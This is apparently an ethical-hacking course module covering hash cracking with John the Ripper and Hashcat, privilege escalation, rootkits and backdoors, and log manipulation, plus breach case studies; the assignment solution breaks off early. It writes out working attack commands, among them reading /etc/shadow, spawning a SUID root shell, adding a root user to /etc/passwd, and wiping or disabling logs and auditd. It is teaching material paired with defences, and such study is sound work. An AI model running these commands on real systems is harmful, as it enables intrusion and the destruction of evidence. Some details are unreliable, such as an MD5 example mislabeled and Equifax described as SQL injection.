Independent Skill Development Mission

Independent Skill Development Mission NXT
EMPOWERING FUTURES, SHAPING TOMORROW

ISDM (INDEPENDENT SKILL DEVELOPMENT MISSION

◇ Password Cracking & Hash Cracking Techniques (John the Ripper, Hashcat)

📌 Chapter 1: Introduction to Password Cracking

🔹 1.1 What is Password Cracking?

Password cracking is the process of recovering passwords from stored or transmitted data. Ethical hackers and penetration testers use password cracking to test the strength of passwords and improve security.

🔹 **Example:** A security analyst tests an employee's password strength to ensure it isn't easily guessable.

🔹 1.2 Why is Password Cracking Important?

✓ **Identifies weak passwords** that can be easily guessed or cracked.
✓ **Helps organizations enforce strong password policies.**
✓ **Used in penetration testing to assess system vulnerabilities.**
✓ **Helps recover lost or forgotten passwords.**

📌 **Example:**
If a company allows users to set weak passwords like 123456 or password, attackers can crack them within seconds using brute-force techniques.

📌 Chapter 2: Understanding Hashing & Password Storage

🔸 2.1 What is Hashing?

Hashing is a cryptographic technique that converts a password into a **fixed-length string** (hash). Hashes cannot be reversed directly, but they can be cracked using various techniques.

- **Example Hashing Algorithms:**

✓ **MD5 (128-bit hash)** → 5f4dcc3b5aa765d61d8327deb882cf99 (hash of "password")

✓ **SHA-256 (256-bit hash)** → 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd4828f4a56e207d78c (hash of "password")

🔸 2.2 How Are Passwords Stored?

Most modern systems **do not store passwords directly** but store **hashed versions** instead.

📌 **Example:**

- User enters: MySecurePass123
- System hashes it to: e99a18c428cb38d5f260853678922e03
- The system stores the hash instead of the actual password.

🔸 2.3 Common Hashing Algorithms & Their Security

Algorithm	Hash Length	Security Level
MD5	128-bit	Weak (Fast to Crack)
SHA-1	160-bit	Weak (Collisions Found)
SHA-256	256-bit	Strong (Secure)
bcrypt	Variable	Very Strong (Slow & Secure)

🔹 **Example:** Older **MD5 hashes are easily cracked** in seconds, while **bcrypt hashes are much harder** due to added computational difficulty.

📌 CHAPTER 3: PASSWORD CRACKING TECHNIQUES

🔸 3.1 Brute Force Attack

✓ Tries **every possible combination** until the correct password is found.
✓ Extremely slow for long or complex passwords.

📌 **Example:**
Cracking a **6-character password (lowercase letters only)** takes seconds, but a **12-character password (uppercase, lowercase, numbers, symbols)** can take years!

🔸 3.2 Dictionary Attack

✓ Uses a **predefined list of common passwords** (e.g., password, 123456, qwerty).

✓ Faster than brute-force but **only works if the password is common**.

📌 **Example:**
Attackers use a **wordlist file** (rockyou.txt) containing millions of passwords.

🔸 3.3 Rainbow Table Attack

✓ Uses **precomputed hash values** to quickly match a password hash.
✓ Only effective for **unsalted passwords** (i.e., passwords without additional randomness).

📌 **Example:**
An attacker **precomputes MD5 hashes** for common passwords and **instantly finds matches** in a database.

🔸 3.4 Hybrid Attack

✓ A mix of **dictionary & brute-force methods** (e.g., appends numbers or symbols to common words).
✓ Faster than brute-force but **slower than dictionary attacks**.

📌 **Example:**
If a user sets their password as Password123!, a hybrid attack would **try variations** like Password1, Password123, Password!@#, etc.

📌 Chapter 4: Cracking Passwords with John the Ripper (JtR)

🔹 4.1 What is John the Ripper?

John the Ripper (**JtR**) is an open-source password-cracking tool used for **brute-force and dictionary attacks**.

✓ **Supports:** MD5, SHA-256, bcrypt, Windows NTLM hashes.
✓ **Works on:** Linux, Windows, macOS.
✓ **Famous for:** Speed and efficiency.

📌 **Example:**
A penetration tester **uses JtR** to audit password security in a corporate system.

🔹 4.2 Installing John the Ripper

🔹 For Linux/macOS:

```
sudo apt install john
```

🔹 For Windows:

Download from https://www.openwall.com/john/

🔹 4.3 Cracking a Password Hash with JtR

1. **Extract password hashes from a Linux system:**

```
sudo cat /etc/shadow > hashes.txt
```

2. **Run John the Ripper on the hash file:**

```
john hashes.txt
```

3. **View cracked passwords:**

john --show hashes.txt

📌 **Example Output:**

user1: password123

admin: qwerty

✓ **Success!** The tool has cracked weak passwords.

📌 Chapter 5: Cracking Passwords with Hashcat

🔸 5.1 What is Hashcat?

Hashcat is a **GPU-accelerated password cracking tool** that is much faster than John the Ripper.

✓ **Supports:** MD5, SHA-1, SHA-256, bcrypt, WPA2 Wi-Fi hashes.
✓ **Uses:** CPU/GPU for high-speed cracking.
✓ **Works on:** Windows, Linux, macOS.

📌 **Example:**
Security professionals use **Hashcat** to test the strength of **Wi-Fi WPA2 passwords**.

🔸 5.2 Installing Hashcat

🔹 For Linux/macOS:

sudo apt install hashcat

🔹 **For Windows:**

Download from https://hashcat.net/hashcat/

🔸 5.3 Cracking a Password Hash with Hashcat

1. **Find the hash type:**

hashid e99a18c428cb38d5f260853678922e03

✓ This identifies the hash as MD5.

2. **Run Hashcat with a dictionary attack:**

hashcat -m 0 -a 0 hash.txt rockyou.txt

✓ **Explanation:**

- -m 0 ⟶ MD5 hash mode.
- -a 0 ⟶ Dictionary attack mode.
- rockyou.txt ⟶ Wordlist containing common passwords.

📌 **Example Output:**

e99a18c428cb38d5f260853678922e03:password

✓ **Password successfully cracked!**

📌 Chapter 6: Defensive Measures Against Password Cracking

🔸 6.1 Best Practices for Strong Passwords

✓ Use **long passwords (12+ characters)**.
✓ Combine **uppercase, lowercase, numbers, symbols**.
✓ Avoid common words (e.g., password123).
✓ Enable **multi-factor authentication (MFA)**.

🔸 6.2 Implementing Secure Hashing

✓ Use **bcrypt, Argon2, or PBKDF2** for password hashing.
✓ **Add salt** (random data) to hashes to prevent rainbow table attacks.
✓ **Limit login attempts** to prevent brute-force attacks.

📌 Chapter 7: Summary & Next Steps

✅ Key Takeaways

✓ Password cracking is used for security testing & auditing.
✓ John the Ripper and Hashcat are powerful cracking tools.
✓ Brute-force, dictionary, and hybrid attacks are common techniques.
✓ Defensive measures like MFA, strong hashing, and rate-limiting prevent attacks.

📌 Next Steps:

- Practice cracking passwords in a safe lab environment.
- Learn about password policies in enterprise security.
- Explore advanced cracking techniques for penetration testing.

◇ Privilege Escalation on Windows & Linux Systems

📌 Chapter 1: Introduction to Privilege Escalation

🔹 1.1 What is Privilege Escalation?

Privilege Escalation is the process of **gaining higher levels of access** on a system than initially authorized. Attackers or penetration testers exploit misconfigurations or vulnerabilities to elevate their privileges from a **low-privileged user to an administrator/root user**.

🔹 1.2 Why is Privilege Escalation Important?

✓ **Allows attackers to gain full system control** and bypass security restrictions.
✓ **Penetration testers use it to simulate real-world cyber threats** and fix security flaws.
✓ **System administrators need to prevent privilege escalation attacks** to secure environments.

📌 Example:
A hacker gains access to a web server as a **normal user** but exploits a **Kernel vulnerability** to gain **root access,** allowing them to take over the system completely.

📌 Chapter 2: Types of Privilege Escalation

🔹 2.1 Vertical Privilege Escalation

Occurs when an attacker **gains higher privileges** than intended *(e.g., user → root/admin).*

✓ Example: A normal user exploits a system vulnerability to become an administrator.

🔸 2.2 Horizontal Privilege Escalation

Occurs when an attacker **gains access to another user's account** with similar privileges.
✓ Example: A user bypasses authentication to access another user's confidential files.

📌 Diagram: Privilege Escalation Process

[User] ⟶ [Admin] ⟶ [Root]

📌 CHAPTER 3: PRIVILEGE ESCALATION ON WINDOWS

🔸 3.1 Common Windows Privilege Escalation Techniques

🔹 **Exploiting Misconfigured Services** – Weak service permissions allow privilege escalation.
🔹 **Kernel Exploits** – Outdated Windows versions contain privilege escalation vulnerabilities.
🔹 **DLL Hijacking** – Replacing a legitimate DLL file to execute malicious code.
🔹 **Credential Dumping** – Extracting administrator passwords from system memory.
🔹 **Unquoted Service Path Exploits** – Services with spaces in the path allow code execution.

🔸 3.2 Performing Windows Privilege Escalation – Step by Step

🛠 Step 1: Identifying System Information

Command:

systeminfo

✓ Checks Windows version, hotfixes, and installed updates.

🛠 Step 2: Finding Privileged Processes

Command:

tasklist /v

✓ Lists running processes and privileges assigned to them.

🔸 **3.3 Exploiting Misconfigured Services (Weak Service Permissions)**

🛠 Step 1: Finding Services with Weak Permissions

Command:

wmic service get name,pathname,startmode

✓ Identifies **services that run with SYSTEM privileges** but have weak permissions.

🛠 Step 2: Exploiting Weak Service Permissions

1. Stop the vulnerable service:

sc stop [service_name]

2. Replace the executable with a malicious payload.
3. Restart the service to gain **administrator privileges**.

📌 **Example:**
If vulnerable.exe runs with SYSTEM privileges but is writable, replacing it with a malicious executable grants elevated access.

🔹 **3.4 Exploiting Unquoted Service Paths**

🛠 **Step 1: Finding Services with Unquoted Paths**

Command:

wmic service get name,displayname,pathname,startmode | findstr /i "C:\Program Files"

✓ If an unquoted path exists, placing a malicious executable in that directory can trigger execution with elevated privileges.

📌 CHAPTER 4: PRIVILEGE ESCALATION ON LINUX

🔹 **4.1 Common Linux Privilege Escalation Techniques**

🔹 **Exploiting SUID (Set User ID) Binaries** – Allows execution of a program with root privileges.
🔹 **Kernel Exploits** – Unpatched Linux kernels contain privilege escalation flaws.
🔹 **Weak File Permissions** – Misconfigured permissions allow privilege escalation.
🔹 **Credential Harvesting** – Extracting credentials from configuration files.
🔹 **Escaping Restricted Shells** – Bypassing shell restrictions to gain full control.

🔹 4.2 Performing Linux Privilege Escalation – Step by Step

🛠 Step 1: Identifying System Information

Command:

uname -a

✓ Shows kernel version and OS details.

🔹 4.3 Exploiting SUID Binaries

🛠 Step 1: Finding SUID Files

Command:

find / -perm -4000 -type f 2>/dev/null

✓ Lists all **SUID-enabled** files, which run with **root privileges**.

🛠 Step 2: Exploiting a SUID Binary (Example: find)

If find has SUID permissions, we can spawn a root shell:

find . -exec /bin/bash -p \;

📌 **Outcome:**
Root shell access granted due to misconfigured SUID permissions.

🔹 4.4 Exploiting Writable /etc/passwd for Root Access

🛠 Step 1: Editing the /etc/passwd File

If /etc/passwd is writable, we can add a new root user manually.

echo "hacker:x:0:0::/root:/bin/bash" >> /etc/passwd

📌 **Outcome:**
Logging in as hacker grants **root access**.

🔸 **4.5 Kernel Exploits for Privilege Escalation**

🛠 **Step 1: Checking for Kernel Exploits**

Command:

uname -r

✓ Lists the kernel version, allowing us to check for known vulnerabilities.

🛠 **Step 2: Searching for Exploits**

Use **exploit databases** like:
✓ **Exploit-DB**: https://www.exploit-db.com/
✓ **GTFOBins**: https://gtfobins.github.io/

🛠 **Step 3: Running an Exploit**

If **CVE-2021-3156 (Sudo Privilege Escalation)** is present, run:

./exploit.sh

📌 **Outcome:**
Root access granted via sudo vulnerability.

📌 CHAPTER 5: PREVENTING PRIVILEGE ESCALATION ATTACKS

🔸 5.1 Security Best Practices for Windows

✓ Apply Windows security patches regularly.
✓ Use Least Privilege Access (LPA) policies.
✓ Monitor privileged processes and service permissions.
✓ Disable unnecessary services and enforce strong authentication.

🔸 5.2 Security Best Practices for Linux

✓ Keep the Linux kernel and packages updated.
✓ Restrict access to sensitive files (e.g., /etc/passwd, /etc/shadow).
✓ Monitor and limit SUID/SGID binaries.
✓ Enforce sudo authentication for administrative tasks.

📌 Chapter 6: Case Study – Privilege Escalation Attack on Linux

🔹 Scenario:

A hacker gains access to a **web server** as a low-privileged user.

🔹 Attack Method:

✓ The attacker finds an **SUID binary (find)** and exploits it to gain **root access**.

🔹 Impact:

✓ The hacker **steals sensitive database credentials** and **compromises the entire system**.

🔹 Prevention Measures:

✓ Restrict SUID binaries and limit privileged access.
✓ Regularly scan for **misconfigurations and outdated software**.

📌 Chapter 7: Summary & Next Steps

✅ Key Takeaways

✓ Privilege Escalation allows attackers to elevate access from user → root/admin.

✓ Windows exploits include weak service permissions, unquoted service paths, and credential dumping.

✓ Linux exploits include SUID binaries, writable /etc/passwd, and kernel vulnerabilities.

✓ Security best practices help prevent privilege escalation attacks.

◇ Maintaining Access: Rootkits, Trojans & Backdoors

📌 Chapter 1: Introduction to Maintaining Access in Cybersecurity

🔹 1.1 What is Maintaining Access?

After successfully breaching a system, attackers often try to maintain access for future exploitation. This process involves installing malicious software such as **rootkits, trojans, and backdoors**, which allow persistent control over compromised systems.

📌 Why Do Attackers Maintain Access?

✓ **Surveillance** – Monitor user activities for data theft.
✓ **System Control** – Modify system configurations and execute commands.
✓ **Further Exploitation** – Launch additional attacks like data exfiltration and ransomware.

📌 Example of Persistent Access:

✓ In 2020, **the SolarWinds attack** allowed hackers to maintain unauthorized access in **government and corporate networks** for months using backdoors.

📌 Chapter 2: Understanding Rootkits

🔹 2.1 What is a Rootkit?

A **rootkit** is a malicious software package designed to hide its presence and provide attackers with **administrator (root) access** to

a compromised system. Rootkits are difficult to detect and can modify system processes, logs, and security settings.

📌 **Types of Rootkits:**

🔹 **Kernel-Mode Rootkits** – Embed deep into the operating system kernel. *(Example: ZeroAccess Rootkit)*

🔹 **User-Mode Rootkits** – Run in user space and modify applications. *(Example: Vanquish Rootkit)*

🔹 **Firmware Rootkits** – Hide in the system's firmware, such as BIOS or UEFI. *(Example: LoJax Rootkit)*

📌 **Example of a Rootkit Attack:**

✓ The **Sony BMG Rootkit Scandal (2005)** – Sony installed a hidden rootkit on music CDs to prevent piracy, but it left users vulnerable to malware attacks.

🔸 **2.2 How Rootkits Maintain Access**

✓ **Hiding Files & Processes** – Conceal malicious programs from system monitoring tools.

✓ **Disabling Security Mechanisms** – Modify system logs and disable antivirus software.

✓ **Creating Hidden User Accounts** – Grant attackers persistent access with elevated privileges.

📌 **Example of a Hidden Rootkit:**

✓ The **Stuxnet Worm (2010)** used rootkit techniques to infiltrate **Iran's nuclear infrastructure,** causing major operational failures.

🔸 **2.3 Detecting & Removing Rootkits**

📌 **Common Rootkit Detection Tools:**

✓ **Chkrootkit** – Linux-based rootkit scanner.

✓ **GMER** – Windows rootkit detection tool.

✓ **RootkitRevealer** – Identifies hidden registry entries and system modifications.

📌 **Example of Rootkit Detection Command:**

chkrootkit

✓ Scans a Linux system for known rootkits.

✓ **Prevention Measures:**

- Keep **OS and software updated** to patch vulnerabilities.
- Use **kernel integrity checking tools** like Tripwire.
- **Perform system integrity monitoring** using Security Information and Event Management (SIEM) solutions.

📌 CHAPTER 3: UNDERSTANDING TROJANS

🔸 3.1 What is a Trojan?

A **Trojan Horse** is a type of malware that disguises itself as a legitimate program but executes **malicious activities** when installed. Unlike viruses, Trojans do not self-replicate but serve as an entry point for attackers.

📌 **Types of Trojans:**

- **Remote Access Trojans (RATs)** – Allow attackers to control a system remotely. *(Example: DarkComet RAT)*
- **Banking Trojans** – Steal financial credentials. *(Example: Zeus Trojan)*
- **Downloader Trojans** – Download additional malware onto a

system. *(Example: Emotet)*

🔹 **Fake Antivirus Trojans** – Pretend to be security software while infecting systems. *(Example: WinFixer)*

📌 **Example of a Trojan Attack:**

✓ The **Zeus Banking Trojan** infected over **3.6 million computers,** stealing banking credentials and causing financial losses.

🔸 **3.2 How Trojans Maintain Access**

✓ **Disabling Antivirus Software** – Modify system registries to prevent detection.

✓ **Opening Backdoors** – Create network vulnerabilities for future attacks.

✓ **Stealing User Credentials** – Keylogging and capturing sensitive information.

📌 **Example of a Trojan in Action:**

✓ **Emotet malware** uses phishing emails to spread and **deploy additional payloads** like ransomware.

🔸 **3.3 Detecting & Removing Trojans**

📌 **Common Trojan Detection Tools:**

✓ **Malwarebytes** – Detects and removes trojans.

✓ **Windows Defender** – Built-in security tool in Windows.

✓ **Kaspersky TDSSKiller** – Identifies hidden trojans and rootkits.

📌 **Example of a Trojan Removal Command (Windows Defender):**

```
MpCmdRun -Scan -ScanType 3
```

✓ Runs a deep malware scan on a Windows system.

✓ **Prevention Measures:**

- Do not download files from **untrusted sources**.
- Enable **firewalls** to prevent unauthorized network access.
- Use **multi-factor authentication (MFA)** to protect login credentials.

📌 Chapter 4: Understanding Backdoors

🔸 4.1 What is a Backdoor?

A **backdoor** is a hidden entry point within a system that allows attackers to bypass authentication mechanisms and gain **unauthorized access**. It is often used in combination with rootkits and trojans to maintain access.

📌 **Types of Backdoors:**

- **System Backdoors** – Exploit vulnerabilities in operating systems. *(Example: Back Orifice)*
- **Application Backdoors** – Embedded within software applications. *(Example: Sunburst Trojan in SolarWinds attack)*
- **Hardware Backdoors** – Malicious modifications to hardware components. *(Example: Alleged Chinese spy chips in Supermicro motherboards)*

📌 **Example of a Backdoor Attack:**

✓ The **NSA's DoublePulsar backdoor** was leaked in 2017, allowing attackers to infect Windows systems globally.

🔸 4.2 How Backdoors Maintain Access

✓ **Creating Hidden User Accounts** – Attackers can log in without being detected.
✓ **Modifying Network Settings** – Enable remote access over SSH or RDP.
✓ **Disguising as Legitimate Software** – Conceal presence using obfuscation techniques.

📌 Example of a Persistent Backdoor:

✓ The **Mirai Botnet** used backdoors to infect IoT devices and launch massive **DDoS attacks**.

🔸 4.3 Detecting & Preventing Backdoors

📌 Common Backdoor Detection Tools:

✓ **Netstat** – Identifies suspicious network connections.
✓ **Wireshark** – Monitors network traffic for unauthorized access.
✓ **Autoruns (Windows)** – Detects hidden startup programs.

📌 Example of Netstat Command to Detect Backdoors:

```
netstat -an | findstr "LISTENING"
```

✓ Identifies listening ports that may indicate a backdoor.

✓ **Prevention Measures:**

- Disable **unused remote access services** like RDP and Telnet.
- Implement **intrusion detection systems (IDS)** to monitor suspicious activities.
- Use **zero-trust security models** to restrict access permissions.

📌 Chapter 5: Case Study – SolarWinds Backdoor Attack (2020)

🔹 What Happened?

✓ The **SolarWinds Orion update** was compromised with a **hidden backdoor** (Sunburst malware).

✓ Attackers gained access to **government agencies and Fortune 500 companies**.

✓ The attack went undetected for **over nine months,** causing widespread data breaches.

🔹 Lessons Learned:

✓ Always verify software updates from trusted sources.

✓ Implement **network segmentation** to limit the impact of breaches.

✓ Use **behavior-based threat detection** to identify abnormal activities.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ **Rootkits, trojans, and backdoors** allow attackers to maintain unauthorized access.

✓ **Detection tools** like Chkrootkit, Malwarebytes, and Netstat help identify threats.

✓ **Prevention measures** include **firewalls, system updates, and zero-trust security models**.

📌 Next Steps:

🔹 **Try hands-on security tools** – Practice with Wireshark, GMER, and Autoruns.

- **Explore ethical hacking techniques** – Learn about penetration testing.
- **Follow cybersecurity threat intelligence sources** – OWASP, MITRE ATT&CK, and CVE reports.

◇ Covering Tracks & Log Manipulation

📌 Chapter 1: Introduction to Covering Tracks in Cybersecurity

🔹 1.1 What is Covering Tracks?

Covering tracks is the process of erasing evidence of unauthorized access or malicious activity from a system to avoid detection. Hackers, penetration testers, and ethical hackers may attempt to **manipulate logs, delete traces, or disguise their actions** to maintain access and evade forensic analysis.

📌 Example:
A hacker gains access to a company's internal server and **deletes login records** to avoid detection.

🔹 1.2 Why Do Attackers Cover Their Tracks?

✓ **Evading Detection** – Prevent security teams from discovering the breach.
✓ **Maintaining Access** – Allow attackers to re-enter the system undetected.
✓ **Delaying Incident Response** – Prevent organizations from responding to the attack quickly.
✓ **Hiding Malicious Activities** – Conceal data theft, malware installations, or privilege escalation.

📌 Example:
A penetration tester uses **log manipulation techniques** to **hide**

evidence of privilege escalation while performing a security assessment.

📌 Chapter 2: Common Methods for Covering Tracks

🔸 2.1 Deleting or Modifying System Logs

Attackers often target **log files** that record system activities, including authentication attempts, commands executed, and system errors.

- **Key Log Files Targeted:**
  - **Windows Event Logs** – Store login attempts, system events, and security alerts.
  - **Linux Log Files** – /var/log/auth.log, /var/log/syslog, /var/log/apache2/access.log.
  - **Firewall & IDS Logs** – Record network traffic and suspicious activity.
- **Techniques to Modify Logs:**
  1. **Manually Deleting Log Files**
  2. rm -rf /var/log/auth.log
  3. **Clearing Windows Event Logs**
  4. wevtutil cl Security
  5. **Modifying Log Entries in Linux**
  6. echo "" > /var/log/auth.log

📌 **Example:**
An attacker removes SSH login records from /var/log/auth.log to **hide unauthorized access**.

🛡 **Defense Strategies:**
✓ Enable **centralized logging** to store logs remotely.
✓ Use **log integrity verification** with hashing.
✓ Implement **real-time monitoring & alerts** for suspicious log modifications.

🔸 2.2 Hiding User Activity Using Stealth Commands

Hackers use stealth techniques to execute commands without leaving obvious traces.

🔹 Common Techniques:

- **Using the history -c Command** – Clears bash history on Linux.
- **Disabling Command Logging** – Run sensitive commands without logging them.
- unset HISTFILE
- **Using Encoded PowerShell Commands** – Execute commands in an obfuscated manner.
- powershell -EncodedCommand <BASE64_COMMAND>

📌 **Example:**
An attacker **disables logging temporarily** before executing an exploit and re-enables it afterward.

🛡 **Defense Strategies:**
✓ Use **keystroke logging** and real-time monitoring.

✓ Implement **file integrity monitoring** to track changes.
✓ Disable unauthorized use of **PowerShell & encoded commands**.

🔸 2.3 Modifying or Disabling Security Logs in Windows

Windows event logs track system activities, making them a primary target for attackers.

🔹 **Ways to Modify or Disable Logs in Windows:**

- **Clearing Event Logs Using Wevtutil:**
- wevtutil cl Application
- wevtutil cl Security
- **Stopping Windows Event Log Service:**
- net stop EventLog
- **Disabling Log Auditing via Registry Edits:**
- reg add "HKLM\SYSTEM\CurrentControlSet\Services\Eventlog" /v Start /t REG_DWORD /d 4 /f

📌 **Example:**
A malware script automatically **clears Windows event logs** after execution to cover its tracks.

🛡 **Defense Strategies:**
✓ Implement **tamper-proof logging solutions**.
✓ Use **real-time log analysis tools** like Splunk & SIEM systems.
✓ Restrict access to **log files & event logging services**.

📌 Chapter 3: Advanced Log Manipulation Techniques

🔸 3.1 Log Poisoning (Creating Fake Log Entries)

Log poisoning involves adding misleading entries to logs to confuse security analysts.

🔹 Techniques Used:

- **Injecting Fake IP Addresses** – Redirecting forensic investigations.
- **Modifying Timestamps** – Changing log entry timestamps to mislead analysts.
- **Creating False Error Messages** – Filling logs with junk data to hide real threats.

📌 Example:

An attacker **inserts fake login attempts** from a foreign country to mislead forensic teams.

🛡 Defense Strategies:

✓ Cross-verify logs with **multiple monitoring systems**.
✓ Detect **irregular patterns in log timestamps & messages**.
✓ Use **cryptographic signing** for log integrity.

🔸 3.2 Time Stomping (Altering File & Log Timestamps)

Time stomping is a technique where attackers modify file timestamps to erase traces of their activities.

🔹 Tools Used for Time Stomping:

- **Timestomp (Metasploit)** – Modifies file timestamps.

- **Touch Command (Linux)** – Alters file access timestamps.
- touch -t 202201010101 file.txt
- **PowerShell Scripts** – Change file metadata.

📌 **Example:**
A hacker **backdates malware installation timestamps** to blend with legitimate system files.

🛡 **Defense Strategies:**
✓ Implement **tamper-proof logging** with **immutable storage**.
✓ Use **file integrity monitoring (FIM)** to detect unauthorized changes.
✓ Enable **timestamp anomaly detection** in forensic analysis.

📌 Chapter 4: Case Study – Covering Tracks After Exploiting a Server

🔹 **Scenario:**
A penetration tester gains access to a company's Linux server and wants to demonstrate **how an attacker could cover their tracks**.

🔹 **Steps Taken:**

1. **Cleared command history:**
2. history -c && unset HISTFILE
3. **Deleted SSH login logs:**
4. echo "" > /var/log/auth.log
5. **Stopped security monitoring services:**
6. systemctl stop auditd

7. **Used timestomping to modify file timestamps:**

8. touch -t 202001010101 secret_file.txt

📌 **Outcome:**
The organization **implemented centralized logging, enabled file integrity monitoring, and deployed real-time alerts** to detect future threats.

📌 Chapter 5: Summary & Next Steps

✅ Key Takeaways

✓ Covering tracks involves **modifying, deleting, or disguising logs** to hide malicious activity.

✓ Common techniques include **deleting log files, disabling logging services, log poisoning, and time stomping**.

✓ **Tamper-proof logging, centralized monitoring, and forensic analysis** help detect manipulation attempts.

📌 Next Steps:

🔹 **Practice log analysis & forensic investigations** using Splunk or ELK Stack.

🔹 **Learn about intrusion detection systems (IDS) & SIEM solutions**.

🔹 **Explore advanced log forensic techniques** to counter log manipulation.

◇ Case Study: Real-World Hacking Attacks

📌 Chapter 1: Introduction to Real-World Hacking Attacks

🔹 1.1 What is a Hacking Attack?

A hacking attack is an unauthorized attempt to access, manipulate, or damage computer systems, networks, or data. These attacks can be carried out by individuals, groups, or state-sponsored actors with different motives, such as financial gain, cyber espionage, activism, or destruction.

✓ **Ethical hackers** use hacking techniques to improve security.
✓ **Cybercriminals** exploit vulnerabilities for malicious intent.

📌 Example:

- The **Yahoo Data Breach (2013-2014)** compromised 3 billion user accounts due to weak security.

🖼️ Diagram: Common Hacking Attack Types

Attack Type	Description	Example
Phishing	Deceptive emails trick users into providing data	Google & Facebook Phishing Scam
Ransomware	Malware encrypts data and demands payment	WannaCry Attack
DDoS	Overloads systems with fake traffic	GitHub DDoS Attack

SQL Injection	Malicious SQL queries extract database data	TalkTalk SQL Injection
Zero-Day Exploit	Attacks unknown vulnerabilities	Stuxnet Worm

---

📌 Chapter 2: Case Study – WannaCry Ransomware Attack (2017)

🔸 2.1 Overview of the Attack

✓ **WannaCry** was a **ransomware attack** that spread globally in May 2017.
✓ It exploited a **Windows SMBv1 vulnerability (MS17-010)**.
✓ The attack affected **200,000+ computers across 150 countries**.
✓ Demanded ransom in **Bitcoin** to unlock encrypted files.

🔸 2.2 How WannaCry Spread

✓ Hackers used **EternalBlue**, a leaked NSA exploit, to infect Windows machines.
✓ The ransomware spread automatically across networks, **without user action**.
✓ Victims were locked out of their files and asked to pay **$300 in Bitcoin**.

📌 Impact of WannaCry:

✓ **Hospitals in the UK (NHS) were forced to cancel surgeries.**
✓ **FedEx, Renault, and Telefonica suffered major disruptions.**
✓ **Total damages exceeded $4 billion globally.**

🔸 2.3 Lessons Learned

✓ **Always update and patch software to prevent exploits.**
✓ **Back up critical files regularly to prevent data loss.**
✓ **Use endpoint security solutions to detect ransomware.**

📌 Chapter 3: Case Study – The Equifax Data Breach (2017)

🔸 3.1 Overview of the Attack

✓ **Equifax,** a major credit reporting agency, suffered a **data breach** in 2017.
✓ Hackers exploited an **unpatched vulnerability in Apache Struts (CVE-2017-5638)**.
✓ **147 million customers' personal data** (SSNs, names, birthdates) were exposed.

🔸 3.2 How the Attack Happened

✓ Attackers targeted **Equifax's web application** using an **SQL Injection exploit**.
✓ They gained **administrative access** and exfiltrated sensitive data.
✓ The breach was **undetected for months,** increasing damage.

📌 Impact of Equifax Breach:

✓ **Millions of customers faced identity theft risks.**
✓ **Equifax paid a $700 million settlement** for failing to secure data.
✓ **Trust in credit reporting agencies declined.**

🔸 3.3 Lessons Learned

✓ **Apply security patches immediately after vulnerabilities are disclosed.**

✓ **Use network segmentation to limit unauthorized access.**
✓ **Encrypt sensitive data to prevent exposure even if breached.**

📌 Chapter 4: Case Study – The Stuxnet Worm (2010)

🔸 4.1 Overview of the Attack

✓ **Stuxnet** was a **sophisticated cyberweapon** targeting Iran's nuclear facilities.
✓ Believed to be developed by the **US & Israel** to sabotage Iran's uranium enrichment program.
✓ The worm was designed to **manipulate industrial control systems (SCADA)**.

🔸 4.2 How Stuxnet Worked

✓ Spread through **infected USB drives,** bypassing air-gapped systems.
✓ Targeted **Siemens PLC controllers** used in Iran's nuclear centrifuges.
✓ Altered industrial processes, **causing centrifuges to spin out of control and break**.

📌 Impact of Stuxnet:

✓ **Damaged 1,000+ centrifuges, delaying Iran's nuclear program.**
✓ **Set a precedent for state-sponsored cyber warfare.**
✓ **Led to increased cybersecurity investment in critical infrastructure.**

🔸 4.3 Lessons Learned

✓ **Critical infrastructure should not rely on outdated software.**
✓ **Implement strict USB device control policies.**
✓ **Governments must develop strategies for cyber defense.**

📌 Chapter 5: Case Study – SolarWinds Supply Chain Attack (2020)

🔸 5.1 Overview of the Attack

✓ **SolarWinds Orion software was compromised by Russian state hackers.**
✓ Attackers inserted a **backdoor (SUNBURST malware)** into software updates.
✓ **Thousands of organizations, including the US government, were affected.**

🔸 5.2 How the Attack Happened

✓ Hackers **infiltrated SolarWinds' software development process**.
✓ They inserted malicious code into updates, which were deployed **globally**.
✓ Attackers gained access to **government and corporate networks** undetected.

📌 Impact of SolarWinds Attack:
✓ **US government agencies (NSA, Treasury, Homeland Security) were compromised.**
✓ **Tech giants like Microsoft, Cisco, and FireEye were impacted.**
✓ **Cybersecurity weaknesses in software supply chains were exposed.**

🔸 5.3 Lessons Learned

✓ **Implement software supply chain security measures.**
✓ **Regularly monitor network traffic for anomalies.**
✓ **Use multi-factor authentication to prevent unauthorized access.**

📌 Chapter 6: Preventing Real-World Cyber Attacks

🔹 6.1 Defensive Measures Against Cyber Attacks

✓ **Keep software and systems up to date** (patch vulnerabilities).
✓ **Enable multi-factor authentication (MFA)** to prevent unauthorized access.
✓ **Use intrusion detection systems (IDS) and firewalls** to monitor network activity.
✓ **Encrypt sensitive data** to protect against breaches.
✓ **Train employees on cybersecurity best practices** to prevent phishing attacks.

🔹 6.2 Security Best Practices for Organizations

🖼️ Diagram: Cybersecurity Best Practices

Security Practice	Purpose
Patch Management	Fix vulnerabilities to prevent exploits
Data Encryption	Protect sensitive data from exposure
Zero Trust Security	Limit access to only verified users
Threat Intelligence	Monitor and analyze cyber threats

📌 **Example:**

✓ After the Equifax breach, **many companies adopted mandatory security patching policies** to prevent similar attacks.

📌 Chapter 7: Summary & Next Steps

✅ Key Takeaways

✓ Real-world hacking attacks have caused financial and reputational damage globally.

✓ Attacks like WannaCry, Equifax, Stuxnet, and SolarWinds show the importance of cybersecurity.

✓ Common security weaknesses include unpatched software, weak authentication, and poor security monitoring.

✓ Organizations must adopt strong cybersecurity measures to prevent future cyber attacks.

📌 **Next Steps:**

- Practice ethical hacking techniques in a controlled lab.
- Stay updated on emerging cyber threats and vulnerabilities.
- Join cybersecurity communities and ethical hacking platforms.

ASSIGNMENT 1:

PERFORM PRIVILEGE ESCALATION ON A TEST SYSTEM USING LOCAL EXPLOITS.

📌 Solution: Assignment 1 – Performing Privilege Escalation on a Test System Using Local Exploits

🎯 Objective

The objective of this assignment is to **perform privilege escalation** on a **Windows or Linux test system** using **local exploits**. This involves exploiting **misconfigurations, vulnerable services, or kernel flaws** to elevate privileges from a **normal user to an administrator/root user**.

📌 Step 1: Setting Up a Test System

🔸 1.1 Choose Your Test Environment

For safe practice, use a **virtual machine (VM)**:
✓ **Kali Linux (Attacker Machine)**
✓ **Windows/Linux VM (Target Machine)**

Recommended Test Systems:

- **Metasploitable 2** – A vulnerable Linux VM for penetration testing.
- **Windows 7/10 VM** – For testing Windows privilege escalation.

📌 Step 2: Identifying System Information

